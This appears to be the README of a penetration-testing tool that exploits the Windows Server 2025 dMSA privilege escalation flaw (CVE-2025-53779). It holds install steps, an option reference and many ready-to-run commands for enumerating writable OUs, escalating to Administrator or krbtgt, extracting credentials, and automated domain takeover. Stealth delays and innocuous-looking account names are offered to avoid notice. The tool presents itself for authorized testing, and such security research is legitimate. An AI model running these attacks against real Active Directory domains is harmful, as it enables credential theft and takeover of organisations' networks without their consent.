Exploits the Windows Server 2025 dMSA privilege escalation vulnerability to enumerate writable OUs, escalate to arbitrary domain users, extract credentials, and enable domain takeover in authorized AD security assessments.
A penetration testing tool that exploits the dMSA (delegated Managed Service Account) privilege escalation vulnerability in Windows Server 2025 Active Directory environments.
This tool is for authorized penetration testing and security research only. Using it against systems without explicit written permission is illegal. The authors are not responsible for misuse or damage.
The tool is under active development; behavior may vary across Windows Server 2025 builds and schema variations. Test in a non-production environment first, and report issues or submit PRs for compatibility fixes.
BadSuccessor exploits a privilege escalation vulnerability in Windows Server 2025's delegated Managed Service Account (dMSA) feature. It allows an attacker with minimal permissions to escalate to any user in the domain, including Domain Administrators.
Patch status: Tracked as CVE-2025-53779 (CVSS 7.2, relative path traversal in dMSA). Disclosed by Akamai on 2025-05-21 and fixed in Microsoft's August 2025 Patch Tuesday. Akamai notes the patch mitigates much of the risk but the underlying technique stays relevant, so this tool remains useful against unpatched or misconfigured environments.
Research by Yuval Gordon (Akamai): Abusing dMSA to Escalate Privileges in Active Directory.
The vulnerability exists in the dMSA migration process:
msDS-ManagedAccountPrecededByLink (or ms-DS-Managed-Account-Preceded-By-Link) to a target usermsDS-DelegatedMSAState (or ms-DS-Delegated-MSA-State) to 2 (migration completed)Additionally, the KERB-DMSA-KEY-PACKAGE structure contains the target user's password keys, enabling credential extraction.
pip3 install ldap3 pyasn1 pycryptodome
pip3 install impacket==0.12.0
The tool targets impacket 0.12.0 and also runs on newer releases (tested with 0.13.1). A version-mismatch warning is printed at runtime and can be ignored on supported newer versions.
# DNS-based DC discovery
pip3 install dnspython
# Kerberos system packages
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild, Write, GenericWrite, or GenericAllgit clone https://github.com/cybrly/badsuccessor.git
cd badsuccessor
pip3 install -r requirements.txt
chmod +x badsuccessor.py
requirements.txt:
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
Unit tests cover the DACL/ACE parsing, the GUID helper, and session handling. They need no live Active Directory.
pip3 install impacket # test dependency
python3 -m unittest discover -s tests
python3 badsuccessor.py -d <domain> -u <username> -p <password> [options]
Dry run (no changes made):
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
Enumerate the environment:
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
Perform the attack:
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
Extract credentials:
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
Session management:
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp_local_john_1234567890_abcd1234
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
Export results:
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--export-json attack_results.json --export-html attack_report.html
Authentication
| Option | Description |
|---|---|
-d, --domain | Target domain (e.g., corp.local) [required] |
-u, --username | Username for authentication [required] |
-p, --password | Password for authentication |
--dc-ip | Domain Controller IP (auto-discover if omitted) |
--ldaps | Force LDAPS (SSL) connection on port 636 |
Attack Modes
| Option | Description |
|---|---|
--attack | Perform the BadSuccessor attack |
--dry-run | Simulate the attack without making changes |
--extract-creds | Extract credentials using the key package |
--auto-pwn | Fully automated domain takeover |
Target Specification
| Option | Description |
|---|---|
--target | Target user to escalate to |
--targets | Comma-separated users for credential extraction |
--validate-target | Validate a target account without attacking |
dMSA Configuration
| Option | Description |
|---|---|
--dmsa-name | Name for the dMSA (auto-generated if omitted) |
--dmsa-pattern | Naming pattern (e.g., svc{random}{target}) |
--ou-dn | Specific OU DN to use (auto-detect if omitted) |
--dmsa-description | Description for the created dMSA |
--dmsa-display-name | Display name for the created dMSA |
Enumeration
| Option | Description |
|---|---|
--enumerate | Enumerate OUs with any write permissions |
--list-targets | List high-value targets |
--check-schema | Verify Windows Server 2025 schema |
Session Management
| Option | Description |
|---|---|
--session-id | Resume an existing session |
--list-sessions | List all available sessions |
--cleanup-session SESSION_ID | Clean up all dMSAs from a session |